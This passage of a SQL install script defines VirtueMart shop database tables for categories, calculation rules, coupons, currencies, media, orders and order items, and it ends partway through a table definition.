VirtueMart -- -- Table structure for table `#__virtuemart_adminmenuentries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_adminmenuentries` ( `id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `module_id` tinyint(10) unsigned NOT NULL DEFAULT '0' COMMENT 'The ID of the VM Module, this Item is assigned to', `parent_id` tinyint(11) unsigned NOT NULL DEFAULT '0', `name` char(64) NOT NULL DEFAULT '0', `link` char(64) NOT NULL DEFAULT '0', `depends` char(64) NOT NULL DEFAULT '' COMMENT 'Names of the Parameters, this Item depends on', `icon_class` char(96), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `tooltip` char(128), `view` char(32), `task` char(32), PRIMARY KEY (`id`), KEY `module_id` (`module_id`), KEY `published` (`published`), KEY `ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Administration Menu Items' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calcs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calcs` ( `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1' COMMENT 'Belongs to vendor', `calc_jplugin_id` int(11) NOT NULL DEFAULT '0', `calc_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_descr` char(128) NOT NULL DEFAULT '' COMMENT 'Description', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_value_mathop` char(8) NOT NULL DEFAULT '' COMMENT 'the mathematical operation like (+,-,+%,-%)', `calc_value` decimal(10,4) NOT NULL DEFAULT '0.0000' COMMENT 'The Amount', `calc_currency` smallint(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Currency of the Rule', `calc_shopper_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Shoppers', `calc_vendor_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Vendors', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Startdate if nothing is set = permanent', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Enddate if nothing is set = permanent', `for_override` tinyint(1) NOT NULL DEFAULT '0', `calc_params` varchar(18000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_calc_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `idx_calc_kind` (`calc_kind`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_categories` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_manufacturers` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_shoppergroups` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_countries` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_country_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_states` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_state_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_categories` ( `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `category_template` char(128), `category_layout` char(64), `category_product_layout` char(64), `products_per_row` tinyint(2), `limit_list_step` char(32), `limit_list_initial` smallint(1) UNSIGNED, `hits` int(1) unsigned NOT NULL DEFAULT '0', `metarobot` char(40) NOT NULL DEFAULT '', `metaauthor` char(64) NOT NULL DEFAULT '', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_category_id`), KEY `idx_category_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Product Categories are stored here' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_category_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `category_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `category_child_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY (`category_child_id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_category_parent_id` (`category_parent_id`,`category_child_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Category child-parent relation list'; -- -- Table structure for table `#__virtuemart_category_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_category_id` (`virtuemart_category_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_countries` ( `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_worldzone_id` tinyint(11) NOT NULL DEFAULT '1', `country_name` char(64), `country_3_code` char(3), `country_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_country_id`), KEY `idx_country_3_code` (`country_3_code`), KEY `idx_country_2_code` (`country_2_code`), KEY `ordering` (`ordering`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Country records' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_coupons` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_coupons` ( `virtuemart_coupon_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `coupon_code` char(32) NOT NULL DEFAULT '', `percent_or_total` enum('percent','total') NOT NULL DEFAULT 'percent', `coupon_type` enum('gift','permanent') NOT NULL DEFAULT 'gift', `coupon_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_start_date` datetime, `coupon_expiry_date` datetime, `coupon_value_valid` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_used` varchar(200) NOT NULL DEFAULT '', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_coupon_id`), KEY `idx_coupon_code` (`coupon_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store coupon codes' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_currencies` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_currencies` ( `virtuemart_currency_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `currency_name` char(64), `currency_code_2` char(2), `currency_code_3` char(3), `currency_numeric_code` int(4), `currency_exchange_rate` decimal(10,5), `currency_symbol` char(4), `currency_decimal_place` char(4), `currency_decimal_symbol` char(4), `currency_thousands` char(4), `currency_positive_style` char(64), `currency_negative_style` char(64), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '1', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_currency_id`), KEY `ordering` (`ordering`), KEY `published` (`published`), KEY `shared` (`shared`), KEY `virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_currency_code_3` (`currency_code_3`), KEY `idx_currency_numeric_code` (`currency_numeric_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store currencies'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_customs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_customs` ( `virtuemart_custom_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `custom_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `custom_jplugin_id` int(11) NOT NULL DEFAULT '0', `custom_element` char(50) NOT NULL DEFAULT '', `admin_only` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:Display in admin only', `custom_title` char(255) NOT NULL DEFAULT '' COMMENT 'field title', `show_title` tinyint(1) NOT NULL DEFAULT '1', `custom_tip` char(255) NOT NULL DEFAULT '' COMMENT 'tip', `custom_value` char(255) COMMENT 'defaut value', `custom_field_desc` char(255) COMMENT 'description or unit', `field_type` char(1) NOT NULL DEFAULT '0' COMMENT 'S:string,I:int,P:parent, B:bool,D:date,T:time,H:hidden', `is_list` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'list of values', `is_hidden` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:hidden', `is_cart_attribute` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Add attributes to cart', `layout_pos` char(24) COMMENT 'Layout Position', `custom_params` text, `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_custom_id`), KEY `i_custom_parent_id` (`custom_parent_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_custom_element` (`custom_element`), KEY `idx_field_type` (`field_type`), KEY `i_is_cart_attribute` (`is_cart_attribute`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_invoices` ( `virtuemart_invoice_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_order_id` int(1) UNSIGNED, `invoice_number` char(64), `order_status` char(2), `xhtml` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_invoice_id`), UNIQUE KEY `idx_invoice_number` (`invoice_number`,`virtuemart_vendor_id`), KEY `idx_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturers` ( `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturercategories_id` int(11), `hits` int(11) unsigned NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturer_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are those who deliver products' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_manufacturer_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturer_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_manufacturer_id` (`virtuemart_manufacturer_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturercategories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturercategories` ( `virtuemart_manufacturercategories_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturercategories_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are assigned to these categories' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_medias` (was `#__virtuemart_product_files`) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_medias` ( `virtuemart_media_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `file_title` char(126) NOT NULL DEFAULT '', `file_description` char(254) NOT NULL DEFAULT '', `file_meta` char(254) NOT NULL DEFAULT '', `file_mimetype` char(64) NOT NULL DEFAULT '', `file_type` char(32) NOT NULL DEFAULT '', `file_url` varchar(900) NOT NULL DEFAULT '', `file_url_thumb` varchar(900) NOT NULL DEFAULT '', `file_is_product_image` tinyint(1) NOT NULL DEFAULT '0', `file_is_downloadable` tinyint(1) NOT NULL DEFAULT '0', `file_is_forSale` tinyint(1) NOT NULL DEFAULT '0', `file_params` varchar(17500), `file_lang` varchar(500) NOT NULL, `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_media_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Additional Images and Files which are assigned to products' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_migration_oldtonew_ids` (only used for migration) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_migration_oldtonew_ids` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `cats` longblob, `catsxref` blob, `manus` longblob, `mfcats` blob, `shoppergroups` longblob, `products` longblob, `products_start` int(1), `orderstates` blob, `orders` longblob, `attributes` longblob, `relatedproducts` longblob, `orders_start` int(1), PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for vm1 ids to vm2 ids' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_modules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_modules` ( `module_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `module_name` char(255), `module_description` varchar(21000), `module_perms` char(255), `published` tinyint(1) NOT NULL DEFAULT '1', `is_admin` enum('0','1') NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`module_id`), KEY `idx_module_name` (`module_name`), KEY `idx_module_ordering` (`ordering`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='VirtueMart Core Modules, not: Joomla modules' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orders` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orders` ( `virtuemart_order_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `order_number` char(64), `customer_number` char(32), `order_pass` char(8), `order_total` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_salesPrice` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTaxAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTax` varchar(400), `order_billDiscountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_discountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_subtotal` decimal(15,5), `order_tax` decimal(10,5), `order_shipment` decimal(10,2), `order_shipment_tax` decimal(10,5), `order_payment` decimal(10,2), `order_payment_tax` decimal(10,5), `coupon_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `coupon_code` char(32), `order_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `order_currency` smallint(1), `order_status` char(1), `user_currency_id` smallint(1), `user_currency_rate` DECIMAL(10,5) NOT NULL DEFAULT '1.00000', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `customer_note` varchar(20000), `delivery_date` varchar(200), `order_language` char(7), `ip_address` char(15) NOT NULL DEFAULT '', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_id`), KEY `idx_orders_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_orders_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_orders_order_number` (`order_number`), KEY `idx_orders_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`), KEY `idx_orders_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Used to store all orders' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_histories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_histories` ( `virtuemart_order_history_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `order_status_code` char(1) NOT NULL DEFAULT '0', `customer_notified` tinyint(1) NOT NULL DEFAULT '0', `comments` varchar(21000), `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_history_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all actions and changes that occur to an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_items` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_items` ( `virtuemart_order_item_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_product_id` int(11), `order_item_sku` char(64) NOT NULL DEFAULT '', `order_item_name` char(255) NOT NULL DEFAULT '', `product_quantity` int(11), `product_item_price` decimal(15,5), `product_priceWithoutTax` decimal(15,5), `product_tax` decimal(15,5), `product_basePriceWithTax` decimal(15,5), `product_discountedPriceWithoutTax` decimal(15,5), `product_final_price` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_discount` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_with_tax` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_item_currency` INT(11), `order_status` char(1), `product_attribute` text, `delivery_date` varchar(200), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_item_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `order_status` (`order_status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all items (products) which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_calc_rules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_calc_rules` ( `virtuemart_order_calc_rule_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` int(11), `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_order_item_id` int(11), `calc_rule_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_mathop` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_amount` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_result` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_currency` smallint(1), `calc_params` varchar(18000), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_calc_rule_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Stores all calculation rules which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orderstates` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orderstates` ( `virtuemart_orderstate_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `order_status_code` char(1) NOT NULL DEFAULT '', `order_status_name` char(64), `order_status_description` varchar(20000), `order_stock_handle` char(1) NOT NULL DEFAULT 'A', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_orderstate_id`), KEY `idx_order_status_ordering` (`ordering`), KEY `idx_order_status_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All available order statuses' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_userinfos` ( `virtuemart_order_userinfo_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2), `address_type_name` char(32), `company` char(64), `title` char(32), `last_name` char(48), `first_name` 